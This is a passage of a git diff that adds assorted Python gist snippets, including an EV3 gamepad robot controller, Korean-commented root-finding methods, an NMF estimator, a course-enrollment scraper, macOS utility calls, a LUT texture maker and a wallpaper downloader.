= evdev.InputDevice(ps3dev) + +forward_speed = 0 +side_speed = 0 +running = True + +class MotorThread(threading.Thread): + def __init__(self): + self.right_motor = ev3.LargeMotor(ev3.OUTPUT_C) + self.left_motor = ev3.LargeMotor(ev3.OUTPUT_B) + threading.Thread.__init__(self) + + def run(self): + print("Engine running!") + while running: + self.right_motor.run_forever(speed_sp=dc_clamp(forward_speed+side_speed)) + self.left_motor.run_forever(speed_sp=dc_clamp(-forward_speed+side_speed)) + + self.right_motor.stop() + self.left_motor.stop() + +motor_thread = MotorThread() +motor_thread.setDaemon(True) +motor_thread.start() + +for event in gamepad.read_loop(): #this loops infinitely + if event.type == 3: #A stick is moved + if event.code == 0: #X axis on left stick + forward_speed = -scale_stick(event.value) + if event.code == 1: #Y axis on left stick + side_speed = -scale_stick(event.value) + if side_speed < 100 and side_speed > -100: + side_speed = 0 + if forward_speed < 100 and forward_speed > -100: + forward_speed = 0 + + if event.type == 1 and event.code == 302 and event.value == 1: + print("X button is pressed. Stopping.") + running = False + time.sleep(0.5) # Wait for the motor thread to finish + break diff --git a/hard-gists/0932b2b5293839cd7d79fa6b513c8128/._snippet.py b/hard-gists/0932b2b5293839cd7d79fa6b513c8128/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0932b2b5293839cd7d79fa6b513c8128/._snippet.py differ diff --git a/hard-gists/0932b2b5293839cd7d79fa6b513c8128/snippet.py b/hard-gists/0932b2b5293839cd7d79fa6b513c8128/snippet.py new file mode 100644 index 00000000..87a4beef --- /dev/null +++ b/hard-gists/0932b2b5293839cd7d79fa6b513c8128/snippet.py @@ -0,0 +1,513 @@ +# -*- coding: utf-8 -*- +# 수치해석, 김상철 교수님 +# 1. Incremental Search, Bisection, False Position, +# Newton-Raphson, Secant Method 정리 +# 20163179 홍승환 + +import numpy as np +import math +from scipy.optimize import fsolve + +""" + 증분법을 계산하는 함수입니다. + func : 대상 함수 + xmin, xmax : x의 최소, 최대값 + ns : 설정한 x 범위를 몇 개의 실제 값으로 쪼갤 것인지 +""" +def incsearch(func, xmin, xmax, ns): + # x 범위 설정 + x = np.linspace(xmin, xmax, ns) + + # 주어진 함수 실행 배열 세팅 + f = func(x) + + # 구간값의 갯수 + nb = 0 + + # 구간값을 보관할 배열 + xb = [] + + # 0부터 설정한 최고값까지 반복 + for k in np.arange(np.size(x) - 1): + # 만약 f(x)랑 f(x+1)이 부호가 다르면 = 그래프가 x축을 뚫고 지나갔으면 + if np.sign(f[k]) != np.sign(f[k+1]): + # 구간 하나 찾음! + nb = nb + 1 + + # 여기부터 여기까지임 + xb.append(x[k]) + xb.append(x[k + 1]) + + # 구간 갯수(Number of Brackets), 구간 배열(Root Interval) 반환 + return nb, xb + +""" + 이분법을 계산하는 함수입니다. + func : 대상 함수 + xl : 계산할 x의 최저값 (lower guesses) + xu : 계산할 x의 최고값 (upper guesses) +""" +def bisect(func, xl, xu): + # 최대 반복 횟수, 기본 100으로 설정함 + maxit = 100 + + # 예상된 오차의 범위, 기본 0.0001%로 설정 + es = 1.0e-4 + + # f(최저값)과 x(최고값)을 곱함 + test = func(xl) * func(xu) + + """ + Bisection은, 계산할 x의 최저값과 최고값이 부호가 달라야 합니다. + 중간값 정의에 의해, 그 사이에 무조건적으로 근이 존재하기 때문입니다. + 그러나 f(최저값)과 f(최고값)을 곱한 값이 양수라면, 부호가 같다는 뜻이 됩니다. + 계산이 불가능하다는 뜻이므로, 함수를 종료합니다. + """ + if test > 0: + print("No sign change") + return [], [], [], [] + + # 반복 카운터 + iter = 0 + + # 중심값 초기화 + xr = xl + + # 계산될 오차값 100%로 초기화 + ea = 100 + + # 무한 반복 + while True: + # 우선 현재 중심값을 xrold라는 변수에 저장해둠 + xrold = xr + + # 중심값을 현재의 최고, 최저값을 더한 후 2로 나눈 값(중앙값)으로 설정함 + xr = np.float((xl + xu) / 2) + + # 한 바퀴 더 돌았음 + iter = iter + 1 + + # 중심값이 0이 아니라면 + if xr != 0: + # 다음 식을 계산해서 오차값을 찾음 + # |{(현재 중심값) - (이전 중심값)} / (현재 중심값) | * 100 + ea = np.float(np.abs((np.float(xr) - np.float(xrold))/np.float(xr))*100) + + # f(최저값)과 x(최고값)을 곱함 + test = func(xl) * func(xr) + + # 만약 곱한 값이 양수라면 + if test > 0: + # 최저값을 현재 중심값으로 설정함 + xl = xr + # 아니고 만약 음수라면 + elif test < 0: + # 최고값을 현재 중심값으로 설정함 + xu = xr + # 만약 양수도, 음수도 아닌 0이라면 + else: + # 오차 없음, 정확히 찾음 + ea = 0 + + # 만약 (1) 계산된 오차값이 허용된 오차값보다 작다면 = 대강 이쯤되면 답이다 싶으면 + # 또는 + # 만약 (2) 설정한 최대 반복값보다 더 많이 돌았으면 + if np.int(ea < es) | np.int(iter >= maxit): + # 계산 그만, 반복 종료 + break + + # 구한 중심값을 근으로 침 + root = xr + + # f(x)에 구한 근 넣어서 계산 + fx = func(xr) + + # 근, f(근) 값, 계산된 오차값, 반복값 + return root, fx, ea, iter + +""" + 가위치법을 계산하는 함수입니다. + func : 대상 함수 + xl : 계산할 x의 최저값 (lower guesses) + xu : 계산할 x의 최고값 (upper guesses) +""" +def false_position(func, xl, xu): + # 최고 반복 한계값, 에러 최댓값 설정 + maxit = 100 + es = 1.0e-4 + + # f(최저값)과 x(최고값)을 곱함 + test = func(xl) * func(xu) + + """ + False Position은 Bisection과 마찬가지로 구간을 기반으로 판단하는 알고리즘입니다. + 그러므로 역시 중간값 정리를 적용하여, 양쪽 끝값의 부호가 달라야 계산이 가능합니다. + 그렇지 않다면, 계산을 하지 않고 함수를 종료합니다. + """ + if test > 0: + print("No sign change") + return [], [], [], [] + + # 반복 카운터 초기화 + iter = 0 + + # 중간값 초기화 + xr = xl + + # 오차 초기화 + ea = 100 + + # 무한 반복 + while True: + # 이전 중간값 저장 + xrold = xr + + # False Position 알고리즘 : 삼각형의 닮은꼴 기반 계산법 (PPT 참조) + xr = np.float(xu - func(xu) * (xl - xu) / (func(xl) - func(xu))) + + # 반복 카운터 1 증가 + iter = iter + 1 + + # 중간값이 0이 아니면 + if xr != 0: + # 다음 식을 계산해서 오차값을 찾음 + # |{(현재 중심값) - (이전 중심값)} / (현재 중심값) | * 100 + ea = np.float(np.abs((np.float(xr) - np.float(xrold))/np.float(xr)) * 100) + + # f(최저값)과 x(최고값)을 곱함 + test = func(xl) * func(xr) + + # 만약 곱한 값이 양수라면 + if test > 0: + # 최저값을 현재 중심값으로 설정함 + xl = xr + # 아니고 만약 음수라면 + elif test < 0: + # 최고값을 현재 중심값으로 설정함 + xu = xr + # 만약 양수도, 음수도 아닌 0이라면 + else: + # 오차 없음, 정확히 찾음 + ea = 0 + + # 만약 (1) 계산된 오차값이 허용된 오차값보다 작다면 = 대강 이쯤되면 답이다 싶으면 + # 또는 + # 만약 (2) 설정한 최대 반복값보다 더 많이 돌았으면 + if np.int(ea < es) | np.int(iter >= maxit): + # 계산 그만, 반복 종료 + break + + # 찾은 중심값을 근으로 함 + root = xr + + # f(근) 계산 + fx = func(xr) + + # 근, f(근), 오차, 반복 횟수 반환 + return root, fx, ea, iter + +""" + Newton-Raphson을 계산하는 함수입니다. + func : 대상 함수 + dfunc : 대상 함수의 미분 함수 + xr : 시작값 +""" +def newtraph(func, dfunc, xr): + # 최대 반복 횟수, 오차 최댓값, 반복 카운터 초기화 + maxit = 50 + es = 1.0e-4 + iter = 0 + + # 무한 반복 + while True: + # 현재 값 보관 + xrold = xr + + # Newton-Raphson Algorithm 계산 + xr = np.float(xr - func(xr) / dfunc(xr)) + # 반복 카운터 1 증가 + iter = iter + 1 + + # xr이 0이 아닐 경우 + if xr != 0: + # 다음 식을 계산해서 오차값을 찾음 + # |{(현재 중심값) - (이전 중심값)} / (현재 중심값) | * 100 + ea = np.float(np.abs((np.float(xr) - np.float(xrold))/np.float(xr)) * 100) + + # 만약 (1) 계산된 오차값이 허용된 오차값보다 작다면 = 대강 이쯤되면 답이다 싶으면 + # 또는 + # 만약 (2) 설정한 최대 반복값보다 더 많이 돌았으면 + if np.int(ea < es) | np.int(iter >= maxit): + break + + # 구해진 xr을 근으로 함 + root = xr + # 근, 오차값, 반복 횟수 반환 + return root, ea, iter + +""" + Secant Method(할선법)를 계산하는 함수입니다. + func : 대상 함수 + x0, x1 : 시작값, 끝값 +""" +def secant_method(func, x0, x1): + # 최대 반복 횟수, 최대 오차, 반복 카운터 초기화 + maxit = 100 + es = 1.0e-4 + iter = 0 + + # 무한 반복 + while True: + # Secant Method + xr = np.float(x1 - (func(x1) * (x1 - x0) * 1.0) / (func(x1) - func(x0))) + # 반복 카운터 초기화 + iter = iter + 1 + + # xr이 0이 아닐 경우 + if xr != 0: + # 다음 식을 계산해서 오차값을 찾음 + # |{(현재 구한 값) - (바로 전에 구한 값)} / (현재 구한 값) | * 100 + ea = np.float(np.abs((np.float(xr) - np.float(x1))/np.float(xr)) * 100) + + # 만약 (1) 계산된 오차값이 허용된 오차값보다 작다면 = 대강 이쯤되면 답이다 싶으면 + # 또는 + # 만약 (2) 설정한 최대 반복값보다 더 많이 돌았으면 + if np.int(ea < es) | np.int(iter >= maxit): + break + + # 값을 하나씩 뒤로 옮김 + x0 = x1 + x1 = xr + + # 구해진 xr을 근으로 함 + root = xr + # 근, 오차값, 반복 횟수를 반환 + return root, ea, iter + +# 실제적 계산값 +print("[!] 0. Real Root\n") + +fm = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36 +m = fsolve(fm, 1) + +print("[+] Real Root:", m) +print() + +# 증분법 +print("[!] 1. Incremental Search\n") +g = 9.81; m = 68.1; cd = 0.25; v = 36; t = 4 + +fp = lambda mp: np.sqrt(g * np.asarray(mp) / cd) * np.tanh(np.sqrt(g * cd / np.asarray(mp)) * t) - v +nb, xb = incsearch(fp, 1, 200, 50) + +# 구간의 갯수 +print("[+] Number of Brackets =", nb) + +# 구간들 +print("[+] Root Interval =", xb) +print() + +# 이분법 +print("[!] 2. Bisection\n") +fm = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36 +root, fx, ea, iter = bisect(fm, 40, 200) + +# 근 +print("[+] root:", root) + +# f(근) +print("[+] f(root):", fx, "(Must Be Zero)") + +# 계산된 오차 +print("[+] Estimated Error:", ea, "(Must Be Zero Error)") + +# 근을 찾기 위해 반복한 계산 횟수 +print("[+] Iterated Number to Find Root: ", iter) +print() + +# 가위치법 +print("[!] 3. False Position\n") +fm = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36 +root, fx, ea, iter = false_position(fm, 40, 200) + +# 근 +print("[+] root:", root, "(False Position)") + +# f(근) +print("[+] f(root):", fx, "(Must Be Zero, False Position)") + +# 계산된 오차 +print("[+] Estimated Error:", ea, "(Must Be Zero Error, False Position)") + +# 근을 찾기 위해 반복한 계산 횟수 +print("[+] Iterated Number to Find Root: ", iter, "(False Position)") +print() + +# Newton-Raphson +print("[!] 4. Newton-Raphson\n") + +# 대상 함수 +y = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36 + +# 미분 함수 +""" + 미분 함수에서, 원래대로라면 sech(Hyperbolic Secant)의 제곱이 필요합니다. + 하지만 Numpy + Scipy 조합에서는 이 함수가 존재하지 않습니다. + 그래서 sech = 1 / cosh에서 착안하여 {1 / np.cosh(...)}의 제곱으로 계산하여야 합니다. +""" +dy = lambda m: (1 / 2) * np.sqrt(9.81 / (m * 0.25)) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - \ + (9.81 * 4 / (2 * m)) * (1 / np.cosh(np.sqrt(9.81 * 0.25 / m) * 4)) ** 2 + +# 시작값이 140일 때 +root, ea, iter = newtraph(y, dy, 140) +print("[=] On xr = 140\n") + +print("[+] Root:", root) +print("[+] Estimated Error:", ea, "(Must Be Zero Error)") +print("[+] Iterated Number to Find Root: ", iter) +print() + +# 시작값이 200일 때 +root, ea, iter = newtraph(y, dy, 200) +print("[=] On xr = 200\n") + +print("[+] root:", root) +print("[+] Estimated Error:", ea, "(Must Be Zero Error)") +print("[+] Iterated Number to Find Root: ", iter) +print() + +# 시작값이 40일 때 +root, ea, iter = newtraph(y, dy, 40) +print("[=] On xr = 40\n") + +print("[+] root:", root) +print("[+] Estimated Error:", ea, "(Must Be Zero Error)") +print("[+] Iterated Number to Find Root: ", iter) +print() + +# Secant Method (할선법) +print("[!] 5. Secant Method\n") +y = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36 + +# 40에서 200을 범위로 잡았을 때 +root, ea, iter = secant_method(y, 40, 200) +print("[=] On 40 to 200:\n") + +print("[+] Root:", root) +print("[+] Estimated Error:", ea, "(Must Be Zero Error)") +print("[+] Iterated Number to Find Root: ", iter) +print() + + +# 기대 출력 결과 +""" +[!] 0. Real Root + +[+] Real Root: [ 142.73763311] + +[!] 1. Incremental Search + +[+] Number of Brackets = 1 +[+] Root Interval = [139.08163265306123, 143.14285714285717] + +[!] 2. Bisection + +[+] root: 142.73765563964844 +[+] f(root): 4.60891335763e-07 (Must Be Zero) +[+] Estimated Error: 5.3450468252827136e-05 (Must Be Zero Error) +[+] Iterated Number to Find Root: 21 + +[!] 3. False Position + +[+] root: 142.73783844758196 (False Position) +[+] f(root): 4.20034974269e-06 (Must Be Zero, False Position) +[+] Estimated Error: 7.781013805708828e-05 (Must Be Zero Error, False Position) +[+] Iterated Number to Find Root: 29 (False Position) + +[!] 4. Newton-Raphson + +[=] On xr = 140 + +[+] Root: 142.73763310844788 +[+] Estimated Error: 9.907775669827273e-06 (Must Be Zero Error) +[+] Iterated Number to Find Root: 3 + +[=] On xr = 200 + +[+] root: 142.73763310844814 +[+] Estimated Error: 9.466905354044462e-06 (Must Be Zero Error) +[+] Iterated Number to Find Root: 5 + +[=] On xr = 40 + +[+] root: 142.73763310844924 +[+] Estimated Error: 1.0756383652963496e-10 (Must Be Zero Error) +[+] Iterated Number to Find Root: 7 + +[!] 5. Secant Method + +[=] On 40 to 200: + +[+] Root: 142.73763310875134 +[+] Estimated Error: 6.298919092046472e-06 (Must Be Zero Error) +[+] Iterated Number to Find Root: 7 +""" + +# 설명 +""" + 먼저 실제 근값(0번)을 보면 142.73763311을 볼 수 있습니다. + 이것이 실제 근이고, 이 값과 1, 2에서 구한 값을 비교합니다. + + 1의 Root Interval을 보면, 139.08... 부터 143.14... 사이에 + 근이 있다는 것을 알 수 있습니다. + 증분법의 특성상 저 사이 쯤에 근이 있을 것이라는 추정 정도가 가능합니다. + 만약 linspace의 ns 값을 늘려서 대입값을 더 촘촘하게 한다면 + 더욱 정확한 구간 값을 도출할 수 있을 것입니다. + + 2의 root를 보면, 142.73765563... 이 나옵니다. 실제 근과 소숫점 뒤 + 4자리까지 일치하는 거의 정확한 값입니다. + 근을 x라고 할 때, 근이 맞다면 f(x)는 0이 되어야 합니다. + 넣어보니 4.6089...e-07, 즉 0.000000460... 의 경미한 오차를 보입니다. + 또, 계산된 오차값을 보면, 위에서 기초적으로 설정한 0.0001%보다 작은 오차로 + 21번만에 계산이 종료된 것을 알 수 있습니다. + + 3의 root를 보면, 142.73783844... 이 나옵니다. 실제 근과 소숫점 뒤 + 3자리까지 일치하는 것을 볼 수 있습니다. + 그러다 보니 f(근)과 계산된 오차 또한 실제값과 거리가 조금 더 있습니다. + 반복도 조금 더 한 것 같습니다. + 즉, 여기서는 이분법이 가위치법보다 더 정확한 값이 나왔다는 뜻이 됩니다. + + 이건 원인이 있습니다. + 가위치법은, 근과 그래프의 설정된 양 끝값을 기준으로 삼각형 2개를 그린 후 + 그 두 삼각형이 닮은꼴인가를 tan 함수와 비슷하게 판정하게 됩니다. + 그래서, 가위치법은 "원래 함수가 어떻게 생겼느냐"에 따라서 계산 횟수가 바뀌게 됩니다. + 하지만, 이분법은 삼각형과 상관이 없는 계산 방식을 가집니다. + 따라서 우리가 사용한 번지 점프 공식은 가위치법보다는 이분법이 더 적합한 + 함수 모양이었다는 결론을 낼 수 있습니다. + + [의견 반영: 박은환 (@dainelpark)] + 또한, 함수의 모양을 보면 이분법과 가위치법의 소스가 매우 비슷합니다. + 이 두 알고리즘은 구간을 판정할 때 f(왼쪽 끝값)과 f(오른쪽 끝값)의 + 곱이 음수일 때, 즉 부호가 다를 때를 기준으로 판정한다는 공통점이 있습니다. + 구간을 얻었을 때, xr(중간값)을 구하는 방법이 각각 다르고, 이 차이가 + 이분법과 가위치법을 구분합니다. + + Newton-Raphson(4번)의 경우, 미분계수를 구하는 방식을 매우 철저하게 + 구현한 알고리즘으로, 우리가 알고 있는 미분의 과정을 그대로 흉내냅니다. + 시작값이 어디이냐에 따라서 결과가 달라지는데, 반복의 횟수가 3~7회인 것으로 보입니다. + 같은 식을 이분법으로 계산해보면, 24번의 반복 횟수가 나옵니다. + 이분법과 비교했을 때 매우 효율적인 계산 방법이라고 할 수 있습니다. + + 그러나 Newton-Raphson법에는 문제가 있는데, 미분 함수를 따로 + 구해서 넣어주고 그것을 지속적으로 계산해야 한다는 점입니다. + 그래서 나온 방법이 Secant Method(할선법, 5번)입니다. + 할선법은 도함수를 이용하는 대신 2개의 함숫값을 통해서 지속적으로 + 선을 그어가며 새로운 끝점을 찾아서 근에 접근하는 방식입니다. + 이 방식을 이용하면 Newton-Raphson법과 비슷하게 계산하되 + 연산력을 낭비하지 않고, 도함수 없이도 계산할 수 있다는 + 장점이 있습니다. + + 실제 할선법의 계산 결과를 보면, 40에서 200의 구간을 주었습니다. + 위의 이분법과 같은 구간을 주었는데 7번의 반복만에 계산이 끝났습니다. + Newton-Raphson법의 장점을 취하면서, 동시에 단점을 보완한 방법이라고 할 수 있습니다. +""" \ No newline at end of file diff --git a/hard-gists/09648344984565f9477a/._snippet.py b/hard-gists/09648344984565f9477a/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/09648344984565f9477a/._snippet.py differ diff --git a/hard-gists/09648344984565f9477a/snippet.py b/hard-gists/09648344984565f9477a/snippet.py new file mode 100644 index 00000000..cff7c998 --- /dev/null +++ b/hard-gists/09648344984565f9477a/snippet.py @@ -0,0 +1,161 @@ +""" +NMF by coordinate descent, designed for sparse data (without missing values) +""" + +# Author: Mathieu Blondel +# License: BSD 3 clause + +import numpy as np +import scipy.sparse as sp +import numba + +from sklearn.base import BaseEstimator +from sklearn.utils import check_random_state +from sklearn.utils.extmath import safe_sparse_dot + + +@numba.jit("f8(f8[:,:], f8[:,:], f8[:,:], i4, f8, f8, f8)") +def _compute_update(H, PWW, PWV, penalty, alpha, regn, regd): + violation = 0 + n_components = H.shape[0] + + for i in xrange(H.shape[1]): + for k in xrange(n_components): + + if penalty == 2: + regn = H[k, i] * alpha + + # gradient + # g = GH[k, i] where GH = np.dot(PWW, H) - PWV + g = - PWV[k, i] + regn + + for j in xrange(H.shape[0]): + g += PWW[k, j] * H[j, i] + + # projected gradient + pg = min(0, g) if H[k, i] == 0 else g + + # Hessian + h = PWW[k, k] + regd + + # Update + H[k, i] = max(H[k, i] - g / h, 0) + + violation += abs(pg) + + return violation + + +class CDNMF(BaseEstimator): + """ + NMF by coordinate descent, designed for sparse data (without missing values) + """ + + def __init__(self, n_components=30, alpha=0.01, penalty="l2", + max_iter=50, tol=0.05, + init="random", random_state=None, verbose=0): + self.n_components = n_components + self.alpha = alpha + self.penalty = penalty + self.max_iter = max_iter + self.tol = tol + self.init = init + self.random_state = random_state + self.verbose = verbose + + def _init(self, X, rs, transpose=False): + n_samples, n_features = X.shape + + if self.init == "random": + W = rs.randn(self.n_components, n_features) + np.abs(W, W) + elif self.init == "sample": + ind = np.arange(n_samples) + rs.shuffle(ind) + W = X[ind[:self.n_components]] + if sp.issparse(W): + W = W.toarray() + comp = np.asfortranarray(W) + + # H is initialized empty since it will be optimized first. + H = np.zeros((n_samples, self.n_components)) + coef = np.ascontiguousarray(H) + + if transpose: + comp = comp.T + coef = coef.T + + return comp, coef + + def _update(self, X, W, H, regn, regd, penalty): + PWW = np.dot(W.T, W) + PWV = safe_sparse_dot(W.T, X.T) + + return _compute_update(H, PWW, PWV, penalty, + self.alpha, regn, regd) + + def _fit_transform(self, X, W, H, update_W=True): + penalties = {"l1": 1, "l2": 2} + penalty = penalties[self.penalty] + + if penalty == 1: + regn = self.alpha + regd = 0 + else: + regn = 0 + regd = self.alpha + + for t in xrange(self.max_iter): + # Update H + v = self._update(X, W, H, regn, regd, penalty) + + # Update W + if update_W: + v += self._update(X.T, H.T, W.T, regn, regd, penalty) + + if t == 0: + violation_init = v + + if self.verbose: + print "violation:", v / violation_init + + if v / violation_init <= self.tol: + if self.verbose: + print "Converged at iteration", t + 1 + break + + return W, H + + def fit_transform(self, X): + n_samples, n_features = X.shape + rs = check_random_state(self.random_state) + + W, H = self._init(X, rs, transpose=True) + + W, H = self._fit_transform(X, W, H) + + self.components_ = W.T + + return H.T + + def fit(self, X): + self.fit_transform(X) + return self + + def transform(self, X): + n_samples = X.shape[0] + H = np.zeros((self.n_components, n_samples)) + W = self.components_.T + W, H = self._fit_transform(X, W, H, update_W=False) + return H.T + + +if __name__ == '__main__': + from sklearn.datasets import fetch_20newsgroups_vectorized + + bunch = fetch_20newsgroups_vectorized(subset="all") + X = bunch.data.tocsr() + y = bunch.target + + nmf = CDNMF(init="sample", verbose=1, random_state=0) + nmf.fit_transform(X) \ No newline at end of file diff --git a/hard-gists/096f3b651b268b7af4c8c32475fa23d1/._snippet.py b/hard-gists/096f3b651b268b7af4c8c32475fa23d1/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/096f3b651b268b7af4c8c32475fa23d1/._snippet.py differ diff --git a/hard-gists/096f3b651b268b7af4c8c32475fa23d1/snippet.py b/hard-gists/096f3b651b268b7af4c8c32475fa23d1/snippet.py new file mode 100644 index 00000000..6efb66c9 --- /dev/null +++ b/hard-gists/096f3b651b268b7af4c8c32475fa23d1/snippet.py @@ -0,0 +1,30 @@ +import mechanize +import pandas as pd +import os + +from bs4 import BeautifulSoup +from IPython.core.display import display, HTML + +br = mechanize.Browser() + +br.open("http://www.adm.uwaterloo.ca/infocour/CIR/SA/under.html") +br.select_form(nr=0) +br.form["subject"] = ["CS"] +br.form["cournum"] = "230" +br.submit() + +soup = BeautifulSoup(br.response().read()) +table = pd.read_html(str(soup.table.table))[0] + +table.columns = table.loc[0,:] +table = table.loc[1:,:] +table = table.set_index(["Class", "Comp Sec"]) + +can_enroll = (table["Enrl Cap"] > table["Enrl Tot"]).any() + +if can_enroll: + os.system('say "time to enroll"') + print("time to enroll") +else: + os.system('say "you will never graduate on time"') + print("you will never graduate on time") \ No newline at end of file diff --git a/hard-gists/097f97f4cb67c554f04dba6b5a09a506/._snippet.py b/hard-gists/097f97f4cb67c554f04dba6b5a09a506/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/097f97f4cb67c554f04dba6b5a09a506/._snippet.py differ diff --git a/hard-gists/097f97f4cb67c554f04dba6b5a09a506/snippet.py b/hard-gists/097f97f4cb67c554f04dba6b5a09a506/snippet.py new file mode 100644 index 00000000..2ad14e65 --- /dev/null +++ b/hard-gists/097f97f4cb67c554f04dba6b5a09a506/snippet.py @@ -0,0 +1,10 @@ +import objc +from Foundation import NSBundle +login_bundle = NSBundle.bundleWithPath_('/System/Library/PrivateFrameworks/login.framework') + +functions = [('SACLockScreenImmediate', '@'),] +objc.loadBundleFunctions(login_bundle, globals(), functions) + + +# Lock the screen regardless of security settings or who is logged in +result = SACLockScreenImmediate() \ No newline at end of file diff --git a/hard-gists/098f399d69f230521ef530baca832e76/._snippet.py b/hard-gists/098f399d69f230521ef530baca832e76/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/098f399d69f230521ef530baca832e76/._snippet.py differ diff --git a/hard-gists/098f399d69f230521ef530baca832e76/snippet.py b/hard-gists/098f399d69f230521ef530baca832e76/snippet.py new file mode 100644 index 00000000..ce3dfb2c --- /dev/null +++ b/hard-gists/098f399d69f230521ef530baca832e76/snippet.py @@ -0,0 +1,34 @@ +# Tested on 10.11 + +# Note: +# The marketing information embedded in the ServerInformation.framework is not the same as what +# About This Mac displays - there are differences. +# +# For example: +# ServerInformation: 15" MacBook Pro with Retina display (Mid 2015) +# About This Mac: MacBook Pro (Retina, 15-inch, Mid 2015) +# +# About This Mac will actually hit the internet API to perform the lookup, +# and then saves it locally for future use. + +from Foundation import NSBundle +import xml.etree.ElementTree as ET +import urllib2 + +ServerInformation = NSBundle.bundleWithPath_('/System/Library/PrivateFrameworks/ServerInformation.framework') +ServerCompatibility = NSBundle.bundleWithPath_('/System/Library/PrivateFrameworks/ServerCompatibility.framework') + +ServerInformationComputerModelInfo = ServerInformation.classNamed_('ServerInformationComputerModelInfo') +SVCSystemInfo = ServerCompatibility.classNamed_('SVCSystemInfo') + +info = SVCSystemInfo.currentSystemInfo() +extended_info = ServerInformationComputerModelInfo.attributesForModelIdentifier_(info.computerModelIdentifier()) + +if extended_info: + # We don't have to hit the internet API, we have some marketing knowledge + marketing_name = extended_info['marketingModel'] +else: + # Sadly we'll have to reach out + API = urllib2.urlopen('http://support-sp.apple.com/sp/product?cc=' + info.serialNumber()[-4:]) + marketing_name = ET.fromstring(API.read()).find('configCode').text + API.close() \ No newline at end of file diff --git a/hard-gists/09b1f5403c63ceab5ae34710cbe2809e/._snippet.py b/hard-gists/09b1f5403c63ceab5ae34710cbe2809e/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/09b1f5403c63ceab5ae34710cbe2809e/._snippet.py differ diff --git a/hard-gists/09b1f5403c63ceab5ae34710cbe2809e/snippet.py b/hard-gists/09b1f5403c63ceab5ae34710cbe2809e/snippet.py new file mode 100644 index 00000000..776cba8e --- /dev/null +++ b/hard-gists/09b1f5403c63ceab5ae34710cbe2809e/snippet.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python +# coding: UTF-8 + +import cv2 +import numpy as np + + +def make_lut256x16(exportPath): + ''' 256 x 16 LUT ''' + colors = [] + for y in range(0, 16): + rows = [] + for x in range(0, 256): + rows.append([ + (x / 16) * 16, # blue + y * 16, # green + (x % 16) * 16 # red + ]) + colors.append(rows) + + image = np.array(colors) + if exportPath: + cv2.imwrite(exportPath, image) + return image + + +def make_lut1024x32(exportPath): + ''' 1024 x 32 LUT ''' + colors = [] + for y in range(0, 32): + rows = [] + for x in range(0, 1024): + rows.append([ + (x / 32) * 8, # blue + y * 8, # green + (x % 32) * 8 # red + ]) + colors.append(rows) + + image = np.array(colors) + if exportPath: + cv2.imwrite(exportPath, image) + return image + + +def make_lut512x512(exportPath): + ''' 512 x 512 Basic LUT ''' + colors = [] + for y in range(0, 512): + rows = [] + for x in range(0, 512): + i = (x % 64, y % 64) + rows.append([ # BGR + (y / 2 + x / 16), # blue + i[1] * 4, # green + i[0] * 4 # red + ]) + colors.append(rows) + + image = np.array(colors) + if exportPath: + cv2.imwrite(exportPath, image) + return image + + +if __name__ == '__main__': + import argparse + import sys + parser = argparse.ArgumentParser(description='LUT Texture maker') + parser.add_argument('path', + type=str, + nargs='?', + default='lut.png', + help='output filename') + parser.add_argument('-s', '--size', + type=str, + nargs='?', + default='512x512', + help='256x16 or 1024x32 or 512x512') + args = parser.parse_args() + if args.size == '512x512': + make_lut512x512(args.path) + elif args.size == '256x16': + make_lut256x16(args.path) + elif args.size == '1024x32': + make_lut1024x32(args.path) + else: + sys.exit('Unsupported size') diff --git a/hard-gists/09cae53bf67ea8a39700/._snippet.py b/hard-gists/09cae53bf67ea8a39700/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/09cae53bf67ea8a39700/._snippet.py differ diff --git a/hard-gists/09cae53bf67ea8a39700/snippet.py b/hard-gists/09cae53bf67ea8a39700/snippet.py new file mode 100644 index 00000000..e638de1e --- /dev/null +++ b/hard-gists/09cae53bf67ea8a39700/snippet.py @@ -0,0 +1,74 @@ +""" +Download wallpapers from the FACETS website. +""" + +import urllib.request +from urllib.error import HTTPError, URLError +from bs4 import BeautifulSoup + +""" +Grab all images from the front page, and save them to a folder. +""" +def save_all_images(url, folder): + html = get_response(url).decode("utf-8") + image_links = get_images_links_from_html(html) + for link in image_links: + image = get_image_with_name(link) + save_image(folder, image) + +""" +Grab the image and image name given a URL. +""" +def get_image_with_name(url): + html = get_response(url).decode("utf-8") + soup = BeautifulSoup(html, "lxml") + image_num = soup.select("#content .size13 strong")[0].contents[0] + print(image_num) + image_src = soup.select("#facet-image img")[0]["src"] + image = get_response(image_src) + return (image_src, image) + +""" +Make an HTTP request to the following URL, and return the response. +""" +def get_response(url): + try: + http_request = urllib.request.urlopen(url) + response_body = http_request.read() + return response_body + except HTTPError: + return None + except URLError as error: + print(error.message) + exit(1) + +""" +Grab the image (a) links given the HTML source. +""" +def get_images_links_from_html(html): + soup = BeautifulSoup(html, "lxml") + image_links = [image_a["href"] for image_a in soup.select("div.thumb-image a")] + return image_links + +""" +Save the image to a given folder. +""" +def save_image(folder, image): + if not image: + return + + image_src = image[0] + image_name = image_src[(image_src.rfind("/") + 1):] + file_name = folder + image_name + try: + file = open(file_name, 'xb') # wb for overwriting + file.write(image[1]) + file.close() + except FileExistsError: + return + +# Client code +BASE_WALLPAPER_URL = "http://www.facets.la/wallpapers/" +WALLPAPER_FOLDER = "YOUR/FOLDER/HERE" + +save_all_images(BASE_WALLPAPER_URL, WALLPAPER_FOLDER) diff --git 